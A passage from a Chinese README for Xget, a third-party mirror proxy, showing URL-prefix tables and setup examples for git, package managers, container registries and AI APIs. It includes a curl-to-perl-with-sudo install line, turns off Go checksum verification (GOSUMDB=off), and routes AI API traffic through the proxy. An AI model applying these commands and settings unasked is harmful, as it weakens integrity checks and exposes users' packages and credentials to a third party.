前缀）\nhttps://xget.xi-xu.me/arch/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst\n```\n\n#### arXiv\n\n```url\n# arXiv 论文 PDF 原始 URL\nhttps://arxiv.org/pdf/2301.07041.pdf\n\n# 转换后（添加 arxiv 前缀）\nhttps://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf\n\n# arXiv 论文源码原始 URL\nhttps://arxiv.org/e-print/2301.07041\n\n# 转换后（添加 arxiv 前缀）\nhttps://xget.xi-xu.me/arxiv/e-print/2301.07041\n```\n\n#### F-Droid\n\n```url\n# F-Droid 应用 APK 原始 URL\nhttps://f-droid.org/repo/org.fdroid.fdroid_1016050.apk\n\n# 转换后（添加 fdroid 前缀）\nhttps://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk\n\n# F-Droid 应用元数据原始 URL\nhttps://f-droid.org/api/v1/packages/org.fdroid.fdroid\n\n# 转换后（添加 fdroid 前缀）\nhttps://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid\n```\n\n#### Jenkins 插件\n\n```url\n# Jenkins 更新中心原始 URL\nhttps://updates.jenkins.io/update-center.json\n\n# 转换后（添加 jenkins 前缀）\nhttps://xget.xi-xu.me/jenkins/update-center.json\n\n# Jenkins 插件下载原始 URL\nhttps://updates.jenkins.io/download/plugins/maven-plugin/3.27/maven-plugin.hpi\n\n# 转换后（添加 jenkins 前缀）\nhttps://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi\n```\n\n#### 容器注册表\n\nXget 支持多个容器注册表，使用 `cr/[容器注册表前缀]` 格式：\n\n| 容器注册表               | 容器注册表前缀 | 原始 URL 格式                               | 加速 URL 格式                               |\n| ------------------------ | -------------- | ------------------------------------------- | ------------------------------------------- |\n| Docker Hub               | `docker`       | `https://registry-1.docker.io/...`          | `https://xget.xi-xu.me/cr/docker/...`       |\n| Quay.io                  | `quay`         | `https://quay.io/...`                       | `https://xget.xi-xu.me/cr/quay/...`         |\n| 谷歌容器注册表           | `gcr`          | `https://gcr.io/...`                        | `https://xget.xi-xu.me/cr/gcr/...`          |\n| 微软容器注册表           | `mcr`          | `https://mcr.microsoft.com/...`             | `https://xget.xi-xu.me/cr/mcr/...`          |\n| 亚马逊公共弹性容器注册表 | `ecr`          | `https://public.ecr.aws/...`                | `https://xget.xi-xu.me/cr/ecr/...`          |\n| GitHub 容器注册表        | `ghcr`         | `https://ghcr.io/...`                       | `https://xget.xi-xu.me/cr/ghcr/...`         |\n| GitLab 容器注册表        | `gitlab`       | `https://registry.gitlab.com/...`           | `https://xget.xi-xu.me/cr/gitlab/...`       |\n| 红帽注册表               | `redhat`       | `https://registry.redhat.io/...`            | `https://xget.xi-xu.me/cr/redhat/...`       |\n| 甲骨文容器注册表         | `oracle`       | `https://container-registry.oracle.com/...` | `https://xget.xi-xu.me/cr/oracle/...`       |\n| Cloudsmith               | `cloudsmith`   | `https://docker.cloudsmith.io/...`          | `https://xget.xi-xu.me/cr/cloudsmith/...`   |\n| DigitalOcean 注册表      | `digitalocean` | `https://registry.digitalocean.com/...`     | `https://xget.xi-xu.me/cr/digitalocean/...` |\n| VMware 注册表            | `vmware`       | `https://projects.registry.vmware.com/...`  | `https://xget.xi-xu.me/cr/vmware/...`       |\n| Kubernetes 注册表        | `k8s`          | `https://registry.k8s.io/...`               | `https://xget.xi-xu.me/cr/k8s/...`          |\n| Heroku 注册表            | `heroku`       | `https://registry.heroku.com/...`           | `https://xget.xi-xu.me/cr/heroku/...`       |\n| SUSE 注册表              | `suse`         | `https://registry.suse.com/...`             | `https://xget.xi-xu.me/cr/suse/...`         |\n| openSUSE 注册表          | `opensuse`     | `https://registry.opensuse.org/...`         | `https://xget.xi-xu.me/cr/opensuse/...`     |\n| Gitpod 注册表            | `gitpod`       | `https://registry.gitpod.io/...`            | `https://xget.xi-xu.me/cr/gitpod/...`       |\n\n```url\n# Docker Hub 原始 URL（官方镜像）\nhttps://registry-1.docker.io/v2/library/nginx/manifests/latest\n\n# 转换后（添加 cr/docker 前缀）\nhttps://xget.xi-xu.me/cr/docker/v2/nginx/manifests/latest\n\n# Docker Hub 原始 URL（用户镜像）\nhttps://registry-1.docker.io/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# 转换后（添加 cr/docker 前缀）\nhttps://xget.xi-xu.me/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# GitHub 容器注册表原始 URL\nhttps://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# 转换后（添加 cr/ghcr 前缀）\nhttps://xget.xi-xu.me/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# 谷歌容器注册表原始 URL\nhttps://gcr.io/v2/distroless/base/manifests/latest\n\n# 转换后（添加 cr/gcr 前缀）\nhttps://xget.xi-xu.me/cr/gcr/v2/distroless/base/manifests/latest\n```\n\n应用场景见[容器镜像加速](#容器镜像加速)。\n\n#### AI 推理提供商\n\nXget 支持众多主流 AI 推理提供商的 API 加速，使用 `ip/[AI 推理提供商前缀]` 格式：\n\n| AI 推理提供商  | AI 推理提供商前缀 | 原始 URL 格式                                   | 加速 URL 格式                                |\n| -------------- | ----------------- | ----------------------------------------------- | -------------------------------------------- |\n| OpenAI         | `openai`          | `https://api.openai.com/...`                    | `https://xget.xi-xu.me/ip/openai/...`        |\n| Anthropic      | `anthropic`       | `https://api.anthropic.com/...`                 | `https://xget.xi-xu.me/ip/anthropic/...`     |\n| Gemini         | `gemini`          | `https://generativelanguage.googleapis.com/...` | `https://xget.xi-xu.me/ip/gemini/...`        |\n| Vertex AI      | `vertexai`        | `https://aiplatform.googleapis.com/...`         | `https://xget.xi-xu.me/ip/vertexai/...`      |\n| Cohere         | `cohere`          | `https://api.cohere.ai/...`                     | `https://xget.xi-xu.me/ip/cohere/...`        |\n| Mistral AI     | `mistralai`       | `https://api.mistral.ai/...`                    | `https://xget.xi-xu.me/ip/mistralai/...`     |\n| xAI            | `xai`             | `https://api.x.ai/...`                          | `https://xget.xi-xu.me/ip/xai/...`           |\n| GitHub 模型    | `githubmodels`    | `https://models.github.ai/...`                  | `https://xget.xi-xu.me/ip/githubmodels/...`  |\n| NVIDIA API     | `nvidiaapi`       | `https://integrate.api.nvidia.com/...`          | `https://xget.xi-xu.me/ip/nvidiaapi/...`     |\n| Perplexity     | `perplexity`      | `https://api.perplexity.ai/...`                 | `https://xget.xi-xu.me/ip/perplexity/...`    |\n| Groq           | `groq`            | `https://api.groq.com/...`                      | `https://xget.xi-xu.me/ip/groq/...`          |\n| Cerebras       | `cerebras`        | `https://api.cerebras.ai/...`                   | `https://xget.xi-xu.me/ip/cerebras/...`      |\n| SambaNova      | `sambanova`       | `https://api.sambanova.ai/...`                  | `https://xget.xi-xu.me/ip/sambanova/...`     |\n| Siray          | `siray`           | `https://api.siray.ai/...`                      | `https://xget.xi-xu.me/ip/siray/...`         |\n| HF Inference   | `huggingface`     | `https://router.huggingface.co/...`             | `https://xget.xi-xu.me/ip/huggingface/...`   |\n| Together       | `together`        | `https://api.together.xyz/...`                  | `https://xget.xi-xu.me/ip/together/...`      |\n| Replicate      | `replicate`       | `https://api.replicate.com/...`                 | `https://xget.xi-xu.me/ip/replicate/...`     |\n| Fireworks      | `fireworks`       | `https://api.fireworks.ai/...`                  | `https://xget.xi-xu.me/ip/fireworks/...`     |\n| Nebius         | `nebius`          | `https://api.studio.nebius.ai/...`              | `https://xget.xi-xu.me/ip/nebius/...`        |\n| Jina           | `jina`            | `https://api.jina.ai/...`                       | `https://xget.xi-xu.me/ip/jina/...`          |\n| Voyage AI      | `voyageai`        | `https://api.voyageai.com/...`                  | `https://xget.xi-xu.me/ip/voyageai/...`      |\n| Fal AI         | `falai`           | `https://fal.run/...`                           | `https://xget.xi-xu.me/ip/falai/...`         |\n| Novita         | `novita`          | `https://api.novita.ai/...`                     | `https://xget.xi-xu.me/ip/novita/...`        |\n| Burncloud      | `burncloud`       | `https://ai.burncloud.com/...`                  | `https://xget.xi-xu.me/ip/burncloud/...`     |\n| OpenRouter     | `openrouter`      | `https://openrouter.ai/...`                     | `https://xget.xi-xu.me/ip/openrouter/...`    |\n| Poe            | `poe`             | `https://api.poe.com/...`                       | `https://xget.xi-xu.me/ip/poe/...`           |\n| Featherless AI | `featherlessai`   | `https://api.featherless.ai/...`                | `https://xget.xi-xu.me/ip/featherlessai/...` |\n| Hyperbolic     | `hyperbolic`      | `https://api.hyperbolic.xyz/...`                | `https://xget.xi-xu.me/ip/hyperbolic/...`    |\n\n```url\n# OpenAI API 原始 URL\nhttps://api.openai.com/v1/chat/completions\n\n# 转换后（添加 ip/openai 前缀）\nhttps://xget.xi-xu.me/ip/openai/v1/chat/completions\n\n# Claude API 原始 URL\nhttps://api.anthropic.com/v1/messages\n\n# 转换后（添加 ip/anthropic 前缀）\nhttps://xget.xi-xu.me/ip/anthropic/v1/messages\n\n# Gemini API 原始 URL\nhttps://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent\n\n# 转换后（添加 ip/gemini 前缀）\nhttps://xget.xi-xu.me/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent\n\n# HF Inference API 原始 URL\nhttps://router.huggingface.co/hf-inference/models/openai/whisper-large-v3\n\n# 转换后（添加 ip/huggingface 前缀）\nhttps://xget.xi-xu.me/ip/huggingface/hf-inference/models/openai/whisper-large-v3\n```\n\n应用场景见 [AI 推理 API 加速](#ai-推理-api-加速)。\n\n## 🎯 应用场景\n\n### Git 操作与配置\n\n#### Git 操作\n\n```bash\n# 克隆存储库\ngit clone https://xget.xi-xu.me/gh/microsoft/vscode.git\n\n# 克隆指定分支\ngit clone -b main https://xget.xi-xu.me/gh/facebook/react.git\n\n# 浅克隆（仅最新提交）\ngit clone --depth 1 https://xget.xi-xu.me/gh/torvalds/linux.git\n\n# 克隆 GitLab 存储库\ngit clone https://xget.xi-xu.me/gl/gitlab-org/gitlab.git\n\n# 克隆 Gitea 存储库\ngit clone https://xget.xi-xu.me/gitea/gitea/gitea.git\n\n# 克隆 Codeberg 存储库\ngit clone https://xget.xi-xu.me/codeberg/forgejo/forgejo.git\n\n# 克隆 SourceForge 存储库\ngit clone https://xget.xi-xu.me/sf/projects/mingw-w64/code.git\n\n# 克隆 AOSP 存储库\ngit clone https://xget.xi-xu.me/aosp/platform/frameworks/base.git\n\n# 添加远程存储库\ngit remote add upstream https://xget.xi-xu.me/gh/[所有者]/[存储库].git\n\n# 拉取更新\ngit pull https://xget.xi-xu.me/gh/microsoft/vscode.git main\n\n# 子模块递归克隆\ngit clone --recursive https://xget.xi-xu.me/gh/[用户名]/[带子模块的存储库].git\n```\n\n#### Git 全局加速配置\n\n```bash\n# 为特定域名配置 Git 使用 Xget\ngit config --global url.\"https://xget.xi-xu.me/gh/\".insteadOf \"https://github.com/\"\ngit config --global url.\"https://xget.xi-xu.me/gl/\".insteadOf \"https://gitlab.com/\"\ngit config --global url.\"https://xget.xi-xu.me/gitea/\".insteadOf \"https://gitea.com/\"\ngit config --global url.\"https://xget.xi-xu.me/codeberg/\".insteadOf \"https://codeberg.org/\"\ngit config --global url.\"https://xget.xi-xu.me/sf/\".insteadOf \"https://sourceforge.net/\"\ngit config --global url.\"https://xget.xi-xu.me/aosp/\".insteadOf \"https://android.googlesource.com/\"\n\n# 验证配置\ngit config --global --get-regexp url\n\n# 现在所有相关平台的 git clone 都会自动使用 Xget\ngit clone https://github.com/microsoft/vscode.git  # 自动转换为 Xget URL\ngit clone https://gitlab.com/gitlab-org/gitlab.git  # 自动转换为 Xget URL\ngit clone https://codeberg.org/forgejo/forgejo.git  # 自动转换为 Xget URL\ngit clone https://android.googlesource.com/platform/frameworks/base.git  # 自动转换为 Xget URL\n```\n\n### 主流下载工具集成\n\n#### wget 下载\n\n```bash\n# 下载单个文件\nwget https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip\n\n# 断点续传\nwget -c https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin\n\n# 批量下载\nwget -i urls.txt  # urls.txt 包含多个 Xget URL\n```\n\n#### cURL 下载\n\n```bash\n# 基本下载\ncurl -L -O https://xget.xi-xu.me/gh/golang/go/archive/refs/tags/go1.22.0.tar.gz\n\n# 显示进度条\ncurl -L --progress-bar -o model.bin https://xget.xi-xu.me/hf/openai/whisper-large-v3/resolve/main/pytorch_model.bin\n\n# 设置用户代理\ncurl -L -H \"User-Agent: MyApp/1.0\" https://xget.xi-xu.me/gl/gitlab-org/gitlab-runner/-/archive/main/gitlab-runner-main.zip\n```\n\n#### aria2 多线程下载\n\n```bash\n# 多线程下载大文件\naria2c -x 16 -s 16 https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin\n\n# 断点续传\naria2c -c https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip\n\n# 批量下载配置文件\naria2c -i download-list.txt  # 包含多个 Xget URL 的文件\n```\n\n### Hugging Face 镜像\n\n```python\nimport os\nfrom transformers import AutoTokenizer, AutoModelForCausalLM\n\n# 设置环境变量，让 transformers 库自动使用 Xget 镜像\nos.environ['HF_ENDPOINT'] = 'https://xget.xi-xu.me/hf'\n\n# 定义模型名称\nmodel_name = 'microsoft/DialoGPT-medium'\n\nprint(f\"正在从镜像下载模型: {model_name}\")\n\n# 使用 AutoModelForCausalLM 来加载对话生成模型\n# 由于上面设置了环境变量，这里无需添加任何额外参数\ntokenizer = AutoTokenizer.from_pretrained(model_name)\nmodel = AutoModelForCausalLM.from_pretrained(model_name)\n\nprint(\"模型和分词器加载成功！\")\n\n# 你现在可以使用 tokenizer 和 model 了\n# 例如:\n# new_user_input_ids = tokenizer.encode(\"Hello, how are you?\", return_tensors='pt')\n# chat_history_ids = model.generate(new_user_input_ids, max_length=1000, pad_token_id=tokenizer.eos_token_id)\n# print(tokenizer.decode(chat_history_ids[:, new_user_input_ids.shape[-1]:][0], skip_special_tokens=True))\n```\n\n### Civitai AI 模型平台\n\n```python\nimport requests\n\n# 设置 API 基础 URL 使用 Xget\nbase_url = \"https://xget.xi-xu.me/civitai\"\n\n# 获取模型信息\ndef get_model_info(model_id):\n    \"\"\"获取 Civitai 模型信息\"\"\"\n    url = f\"{base_url}/api/v1/models/{model_id}\"\n    response = requests.get(url)\n    return response.json()\n\n# 下载模型\ndef download_model(model_version_id, output_path):\n    \"\"\"下载 Civitai 模型文件\"\"\"\n    download_url = f\"{base_url}/api/download/models/{model_version_id}\"\n\n    print(f\"正在下载模型版本 {model_version_id}...\")\n\n    response = requests.get(download_url, stream=True)\n    response.raise_for_status()\n\n    with open(output_path, 'wb') as f:\n        for chunk in response.iter_content(chunk_size=8192):\n            f.write(chunk)\n\n    print(f\"模型已下载到: {output_path}\")\n\n# 使用示例\nmodel_id = 7240  # 示例模型 ID\nmodel_info = get_model_info(model_id)\nprint(f\"模型名称: {model_info['name']}\")\n\n# 下载第一个模型版本\nif model_info['modelVersions']:\n    version_id = model_info['modelVersions'][0]['id']\n    download_model(version_id, f\"model_{version_id}.safetensors\")\n```\n\n### npm 包管理加速\n\n#### 配置 npm 使用 Xget 镜像\n\n```bash\n# 临时使用 Xget 镜像\nnpm install --registry https://xget.xi-xu.me/npm/\n\n# 全局配置 npm 镜像\nnpm config set registry https://xget.xi-xu.me/npm/\n\n# 验证配置\nnpm config get registry\n```\n\n#### 配置 Bun 使用 Xget 镜像\n\n```toml\n# bunfig.toml（项目级）或 ~/.bunfig.toml（全局）\n[install]\nregistry = \"https://xget.xi-xu.me/npm/\"\n```\n\n```bash\n# 使用 Bun 安装依赖\nbun install\n\n# Bun 也支持 .npmrc，可直接复用已有的 npm 镜像配置\necho \"registry=https://xget.xi-xu.me/npm/\" > .npmrc\nbun install\n```\n\n#### 在项目中使用（npm / Bun）\n\n```bash\n# 在 .npmrc 文件中配置项目级镜像（npm / Bun 可复用）\necho \"registry=https://xget.xi-xu.me/npm/\" > .npmrc\n\n# 使用 npm 安装依赖\nnpm install\n\n# 使用 Bun 安装依赖\nbun install\n```\n\n### Python 包管理加速\n\n#### 配置 pip 使用 Xget 镜像\n\n```bash\n# 临时使用 Xget 镜像\npip install requests -i https://xget.xi-xu.me/pypi/simple/\n\n# 全局配置 pip 镜像\npip config set global.index-url https://xget.xi-xu.me/pypi/simple/\npip config set global.trusted-host xget.xi-xu.me\n\n# 验证配置\npip config list\n```\n\n#### 在项目中使用\n\n```bash\n# 创建 pip.conf 文件（Linux/macOS）\nmkdir -p ~/.pip\ncat > ~/.pip/pip.conf << EOF\n[global]\nindex-url = https://xget.xi-xu.me/pypi/simple/\ntrusted-host = xget.xi-xu.me\nEOF\n\n# 或在项目根目录创建 pip.conf\ncat > pip.conf << EOF\n[global]\nindex-url = https://xget.xi-xu.me/pypi/simple/\ntrusted-host = xget.xi-xu.me\nEOF\n\n# 使用配置文件安装\npip install -r requirements.txt --config-file pip.conf\n```\n\n#### 在 requirements.txt 中指定镜像\n\n```txt\n# requirements.txt\n--index-url https://xget.xi-xu.me/pypi/simple/\n--trusted-host xget.xi-xu.me\n\nrequests>=2.25.0\nnumpy>=1.21.0\npandas>=1.3.0\nmatplotlib>=3.4.0\n```\n\n### conda 包管理加速\n\n#### 配置 conda 使用 Xget 镜像\n\n```bash\n# 配置默认频道镜像\nconda config --add default_channels https://xget.xi-xu.me/conda/pkgs/msys2\nconda config --add default_channels https://xget.xi-xu.me/conda/pkgs/r\nconda config --add default_channels https://xget.xi-xu.me/conda/pkgs/main\n\n# 配置所有社区频道镜像（推荐）\nconda config --set channel_alias https://xget.xi-xu.me/conda/community\n\n# 或配置特定社区频道\nconda config --add channels https://xget.xi-xu.me/conda/community/conda-forge\nconda config --add channels https://xget.xi-xu.me/conda/community/bioconda\n\n# 设置频道优先级\nconda config --set channel_priority strict\n\n# 验证配置\nconda config --show\n```\n\n#### 在 .condarc 中配置\n\n.condarc 文件可以放在用户主目录（`~/.condarc`）或项目根目录下：\n\n```yaml\ndefault_channels:\n  - https://xget.xi-xu.me/conda/pkgs/main\n  - https://xget.xi-xu.me/conda/pkgs/r\n  - https://xget.xi-xu.me/conda/pkgs/msys2\nchannel_alias: https://xget.xi-xu.me/conda/community\nchannel_priority: strict\nshow_channel_urls: true\n```\n\n#### 使用环境文件\n\n环境文件中可以直接指定完整的镜像 URL：\n\n```yaml\n# environment.yml\nname: myproject\nchannels:\n  - https://xget.xi-xu.me/conda/pkgs/main\n  - https://xget.xi-xu.me/conda/pkgs/r\n  - https://xget.xi-xu.me/conda/community/bioconda\n  - https://xget.xi-xu.me/conda/community/conda-forge\ndependencies:\n  - python=3.11\n  - numpy>=1.24.0\n  - pandas>=2.0.0\n  - matplotlib>=3.7.0\n  - scipy>=1.10.0\n  - pip\n  - pip:\n      - requests>=2.28.0\n```\n\n```bash\n# 使用环境文件创建环境\nconda env create -f environment.yml\n\n# 更新环境\nconda env update -f environment.yml\n```\n\n### Maven 包管理加速\n\n#### 配置 Maven 使用 Xget 镜像\n\n```xml\n<!-- 在 ~/.m2/settings.xml 中配置 Maven 镜像 -->\n<settings>\n  <mirrors>\n    <mirror>\n      <id>xget-maven-central</id>\n      <mirrorOf>central</mirrorOf>\n      <name>Xget Maven Central Mirror</name>\n      <url>https://xget.xi-xu.me/maven/maven2</url>\n    </mirror>\n  </mirrors>\n</settings>\n```\n\n#### 在项目中使用\n\n```xml\n<!-- 在 pom.xml 中配置项目级镜像 -->\n<project>\n  <repositories>\n    <repository>\n      <id>xget-maven-central</id>\n      <name>Xget Maven Central</name>\n      <url>https://xget.xi-xu.me/maven/maven2</url>\n    </repository>\n  </repositories>\n\n  <pluginRepositories>\n    <pluginRepository>\n      <id>xget-maven-central</id>\n      <name>Xget Maven Central</name>\n      <url>https://xget.xi-xu.me/maven/maven2</url>\n    </pluginRepository>\n  </pluginRepositories>\n</project>\n```\n\n```bash\n# 使用命令行指定镜像\nmvn clean install -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2\n\n# 下载特定依赖\nmvn dependency:get -Dartifact=org.springframework:spring-core:5.3.21 \\\n  -DremoteRepositories=https://xget.xi-xu.me/maven/maven2\n```\n\n### Apache 软件下载加速\n\n#### 使用 Xget 下载 Apache 软件\n\n```bash\n# 下载 Apache Kafka\nwget https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz\n\n# 下载 Apache Maven\ncurl -L -O https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz\n\n# 下载 Apache Spark\naria2c https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz\n\n# 下载 Apache Hadoop\nwget https://xget.xi-xu.me/apache/hadoop/common/hadoop-3.3.6/hadoop-3.3.6.tar.gz\n\n# 下载 Apache Flink\ncurl -L -O https://xget.xi-xu.me/apache/flink/flink-1.18.1/flink-1.18.1-bin-scala_2.12.tgz\n```\n\n#### 常用 Apache 软件下载\n\n```bash\n# 大数据相关\nwget https://xget.xi-xu.me/apache/hive/hive-3.1.3/apache-hive-3.1.3-bin.tar.gz\nwget https://xget.xi-xu.me/apache/hbase/2.5.7/hbase-2.5.7-bin.tar.gz\nwget https://xget.xi-xu.me/apache/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz\n\n# Web 服务器\nwget https://xget.xi-xu.me/apache/httpd/httpd-2.4.59.tar.gz\nwget https://xget.xi-xu.me/apache/tomcat/tomcat-10/v10.1.19/bin/apache-tomcat-10.1.19.tar.gz\n\n# 开发工具\nwget https://xget.xi-xu.me/apache/ant/1.10.14/apache-ant-1.10.14-bin.tar.gz\nwget https://xget.xi-xu.me/apache/netbeans/netbeans/20/netbeans-20-bin.zip\n```\n\n### Gradle 包管理加速\n\n#### 配置 Gradle 使用 Xget 镜像\n\n```gradle\n// 在 build.gradle 中配置 Gradle 镜像\nrepositories {\n    maven {\n        url 'https://xget.xi-xu.me/maven/maven2'\n    }\n    gradlePluginPortal {\n        url 'https://xget.xi-xu.me/gradle/m2'\n    }\n}\n\n// 配置插件存储库\npluginManagement {\n    repositories {\n        maven {\n            url 'https://xget.xi-xu.me/gradle/m2'\n        }\n        gradlePluginPortal()\n    }\n}\n```\n\n#### 全局配置\n\n```gradle\n// 在 ~/.gradle/init.gradle 中配置全局镜像\nallprojects {\n    repositories {\n        maven {\n            url 'https://xget.xi-xu.me/maven/maven2'\n        }\n    }\n}\n\nsettingsEvaluated { settings ->\n    settings.pluginManagement {\n        repositories {\n            maven {\n                url 'https://xget.xi-xu.me/gradle/m2'\n            }\n            gradlePluginPortal()\n        }\n    }\n}\n```\n\n```bash\n# 使用命令行指定镜像\ngradle build -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2\n\n# 刷新依赖\ngradle build --refresh-dependencies\n```\n\n### Homebrew 包管理加速\n\n#### 配置 Homebrew 使用 Xget 镜像\n\n```bash\n# 设置 Homebrew 环境变量使用 Xget 镜像\nexport HOMEBREW_BREW_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/brew.git\"\nexport HOMEBREW_CORE_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/homebrew-core.git\"\nexport HOMEBREW_API_DOMAIN=\"https://xget.xi-xu.me/homebrew/api\"\nexport HOMEBREW_BOTTLE_DOMAIN=\"https://xget.xi-xu.me/homebrew/bottles\"\n\n# 更新 Homebrew\nbrew update\n```\n\n#### 长期配置\n\n```bash\n# 为 bash 用户添加到 ~/.bash_profile\necho 'export HOMEBREW_BREW_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/brew.git\"' >> ~/.bash_profile\necho 'export HOMEBREW_CORE_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/homebrew-core.git\"' >> ~/.bash_profile\necho 'export HOMEBREW_API_DOMAIN=\"https://xget.xi-xu.me/homebrew/api\"' >> ~/.bash_profile\necho 'export HOMEBREW_BOTTLE_DOMAIN=\"https://xget.xi-xu.me/homebrew/bottles\"' >> ~/.bash_profile\n\n# 为 zsh 用户添加到 ~/.zprofile\necho 'export HOMEBREW_BREW_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/brew.git\"' >> ~/.zprofile\necho 'export HOMEBREW_CORE_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/homebrew-core.git\"' >> ~/.zprofile\necho 'export HOMEBREW_API_DOMAIN=\"https://xget.xi-xu.me/homebrew/api\"' >> ~/.zprofile\necho 'export HOMEBREW_BOTTLE_DOMAIN=\"https://xget.xi-xu.me/homebrew/bottles\"' >> ~/.zprofile\n```\n\n#### 在项目中使用\n\n```bash\n# 安装软件包\nbrew install git\n\n# 搜索软件包\nbrew search python\n\n# 更新软件包\nbrew upgrade\n\n# 查看已安装软件包\nbrew list\n```\n\n#### 验证镜像配置\n\n```bash\n# 检查 Homebrew 配置\nbrew config\n\n# 查看环境变量\necho $HOMEBREW_API_DOMAIN\necho $HOMEBREW_BOTTLE_DOMAIN\n```\n\n### Ruby 包管理加速\n\n#### 配置 RubyGems 使用 Xget 镜像\n\n```bash\n# 临时使用 Xget 镜像\ngem install rails --source https://xget.xi-xu.me/rubygems/\n\n# 全局配置 RubyGems 镜像\ngem sources --add https://xget.xi-xu.me/rubygems/\ngem sources --remove https://rubygems.org/\n\n# 验证配置\ngem sources -l\n```\n\n#### 在项目中使用\n\n```ruby\n# 在 Gemfile 中配置项目级镜像\nsource 'https://xget.xi-xu.me/rubygems/'\n\ngem 'rails', '~> 7.0.0'\ngem 'pg', '~> 1.1'\ngem 'puma', '~> 5.0'\n```\n\n```bash\n# 使用 bundle 安装\nbundle config mirror.https://rubygems.org https://xget.xi-xu.me/rubygems/\nbundle install\n```\n\n### R 包管理加速\n\n#### 配置 R 使用 Xget CRAN 镜像\n\n```r\n# 在 R 中临时使用 Xget CRAN 镜像\ninstall.packages(\"ggplot2\", repos = \"https://xget.xi-xu.me/cran/\")\n\n# 全局配置 CRAN 镜像\noptions(repos = c(CRAN = \"https://xget.xi-xu.me/cran/\"))\n\n# 验证配置\ngetOption(\"repos\")\n```\n\n#### 在 .Rprofile 中配置\n\n```r\n# 在用户主目录的 .Rprofile 文件中配置全局镜像\noptions(repos = c(\n  CRAN = \"https://xget.xi-xu.me/cran/\",\n  BioCsoft = \"https://bioconductor.org/packages/release/bioc\",\n  BioCann = \"https://bioconductor.org/packages/release/data/annotation\",\n  BioCexp = \"https://bioconductor.org/packages/release/data/experiment\"\n))\n\n# 设置下载方法\noptions(download.file.method = \"libcurl\")\n```\n\n#### 在项目中使用\n\n```r\n# 在项目的 renv.lock 或脚本中指定镜像\nrenv::init()\nrenv::settings$repos.override(c(CRAN = \"https://xget.xi-xu.me/cran/\"))\n\n# 安装包\ninstall.packages(c(\"dplyr\", \"ggplot2\", \"tidyr\"))\n\n# 或使用 pak 包管理器\npak::pkg_install(\"tidyverse\", repos = \"https://xget.xi-xu.me/cran/\")\n```\n\n```bash\n# 在命令行中使用 R 脚本安装包\nRscript -e \"options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')); install.packages('ggplot2')\"\n\n# 批量安装包\nRscript -e \"\noptions(repos = c(CRAN = 'https://xget.xi-xu.me/cran/'))\npackages <- c('dplyr', 'ggplot2', 'tidyr', 'readr')\ninstall.packages(packages)\n\"\n```\n\n### Perl 包管理加速\n\n#### 配置 CPAN 使用 Xget 镜像\n\n```bash\n# 配置 CPAN 使用 Xget 镜像\ncpan o conf urllist push https://xget.xi-xu.me/cpan/\ncpan o conf commit\n\n# 或者直接编辑配置文件 ~/.cpan/CPAN/MyConfig.pm\n# 添加：\n# 'urllist' => [q[https://xget.xi-xu.me/cpan/]],\n```\n\n#### 使用 cpanm 安装模块\n\n```bash\n# 安装 cpanm（如果没有）\ncurl -L https://cpanmin.us | perl - --sudo App::cpanminus\n\n# 使用 Xget 镜像安装模块\ncpanm --mirror https://xget.xi-xu.me/cpan/ DBI\ncpanm --mirror https://xget.xi-xu.me/cpan/ Mojolicious\n\n# 从 Makefile.PL 安装依赖\ncpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .\n```\n\n#### 在项目中使用\n\n```perl\n# 在 cpanfile 中列出依赖\nrequires 'DBI';\nrequires 'Mojolicious';\nrequires 'JSON';\n\n# 然后使用 Xget 镜像安装\ncpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .\n```\n\n### TeX/LaTeX 包管理加速\n\n#### 配置 TeX Live 使用 Xget CTAN 镜像\n\n```bash\n# 配置 tlmgr 使用 Xget CTAN 镜像\ntlmgr option repository https://xget.xi-xu.me/ctan/systems/texlive/tlnet\n\n# 更新包数据库\ntlmgr update --self --all\n\n# 安装包\ntlmgr install beamer\ntlmgr install tikz\n```\n\n#### 配置 MiKTeX 使用 Xget 镜像\n\n```bash\n# Windows MiKTeX 配置\nmpm --set-repository=https://xget.xi-xu.me/ctan/systems/win32/miktex\n\n# 更新包数据库\nmpm --update-db\n\n# 安装包\nmpm --install=beamer\nmpm --install=pgf\n```\n\n#### 在项目中使用\n\n```bash\n# LaTeX 文档编译时自动安装缺失包\npdflatex --shell-escape document.tex\n\n# 或手动安装特定包\ntlmgr install caption\ntlmgr install subcaption\ntlmgr install algorithm2e\n```\n\n### Go 模块加速\n\n#### 配置 Go 使用 Xget 代理\n\n```bash\n# 配置 Go 模块代理\nexport GOPROXY=https://xget.xi-xu.me/golang,direct\nexport GOSUMDB=off\n\n# 或者永久配置\ngo env -w GOPROXY=https://xget.xi-xu.me/golang,direct\ngo env -w GOSUMDB=off\n\n# 验证配置\ngo env GOPROXY\n```\n\n#### 